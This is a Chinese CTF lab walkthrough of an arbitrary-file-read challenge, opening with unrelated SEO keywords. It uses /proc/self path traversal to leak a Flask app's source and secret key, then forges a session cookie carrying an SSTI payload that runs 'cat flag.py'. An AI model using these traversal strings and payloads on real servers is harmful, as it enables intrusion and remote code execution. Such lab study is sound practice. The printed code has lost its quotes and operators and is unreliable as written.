网站 框架,电子商务网站设计说明,企业为什么要管理,高职示范校建设网站1.1漏洞描述
漏洞名称任意文件读取漏洞 afr_3漏洞类型文件读取/包含漏洞等级⭐⭐⭐⭐⭐漏洞环境docker攻击方式
1.2漏洞等级 高危 1.3影响版本 暂无 1.4漏洞复现
1.4.1.基础环境
靶场docker工具BurpSuite
1.4.2.环境搭建 1.创建docker-compose.yml文件 version: 3.2 servi…1.1漏洞描述
漏洞名称任意文件读取漏洞 afr_3漏洞类型文件读取/包含漏洞等级⭐⭐⭐⭐⭐漏洞环境docker攻击方式
1.2漏洞等级 高危 1.3影响版本 暂无 1.4漏洞复现
1.4.1.基础环境
靶场docker工具BurpSuite
1.4.2.环境搭建 1.创建docker-compose.yml文件 version: 3.2 services: web: image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest ports: - 5000:5000 2.将该代码写入文件 启动方式 docker-compose up -d flag n1book{afr_1_solved} 关闭 sudo docker-compose down 3.访问kali 5000端口 搭建成功
1.5深度利用
1.5.1靶机攻略 1.查看源码 没有发现有用东西 2.扫描目录 根据引导进入article熟悉的参数出来了nameaiticle 3.尝试查看etc/passwd 查看flag 失败了
尝试使用php://fileter 读取 ?filepathphp://filter/readconvert.base64-encode/resource[目标文件] 也失败了。
看了大神的讲解我觉得应该能想到因为现在的信息就是已经可以正常包含/etc/目录下的文件passwd那么/proc/目录下的也应该能包含 /proc/ 里面含有很多的进程信息比如/proc/3333就是进程ID为3333的信息 /proc/self/ 这个就很魔幻了因为进程ID是一直变得我这里如果填了article/proc/self/......那么就是article相关的进程也就是说这个self是谁用就是谁 cmdline 启动当前进程的完成命令 cwd 当前进程的工作目录 访问发现pythonserver.py这里应该不是pythonserver.py文件因为cmdline是启动当前进程的完成命令那执行的命令应该是python server.py article?name../../../../../../proc/self/cmdline 4.通过cwd读取server.py article?name../../../../../proc/self/cwd/server.py 拿到server.py的源码
#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Sessionapp Flask(__name__)
execfile(flag.py)#execfile() 函数可以用来执行一个文件。
execfile(key.py)
FLAG flag
app.secret_key key app.route(/n1page, methods[GET, POST])def n1page():if request.method ! POST:return redirect(url_for(index))n1code request.form.get(n1code) or Noneif n1code is not None: n1code n1code.replace(., ).replace(_, ).replace({, ).replace(}, )
if n1code not in session or session[n1code] is None: session[n1code] n1code
template None
if session[n1code] is not None: template h1N1 Page/h1 div classrow div classcol-md-6 col-md-offset-3 center Hello : %s, why you dont look at our a href/article?namearticlearticle/a? /div /div %
session[n1code]
session[n1code] None
return render_template_string(template) app.route(/, methods[GET])def index(): return render_template(main.html) app.route(/article, methods[GET])def article(): error 0if name in request.args:page request.args.get(name) else:page article
if page.find(flag) 0: page notallowed.txt
try:template open(/home/nu11111111l/articles/{}.format(page)).read() except Exception as e:template e
return render_template(article.html, templatetemplate)
if __name__ __main__: app.run(host0.0.0.0, debugFalse)代码中出现了flag.py和key.py分别包含一下这俩在key.py中发现了一段关于key的代码 /article?name../../../../../proc/self/cwd/flag.py /article?name../../../../../proc/self/cwd/key.py #!/usr/bin/python key Drmhze6EPcv0fN_81Bj-nA 伪造flask的session秘钥为Drmhze6EPcv0fN_81Bj-nA 下载脚本 git clone https://github.com/noraj/flask-session-cookie-manager 使用脚本编译 sudo python3 ./flask_session_cookie_manager3.py encode -s Drmhze6EPcv0fN_81Bj-nA -t {n1code: {{\\.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\os\].popen(\cat flag.py\).read()}}} 拿到伪造flask的session .eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.ZVTSxw.EZGsAPNdMs8G5kxefOpGvPQMXoM 5.使用BP访问首页抓包 修改session值为刚刚得到的 拿到flag flag ‘n1book{afr_3_solved}’; 1.6漏洞挖掘
1.6.1指纹信息 1.7修复建议 升级 打补丁 上设备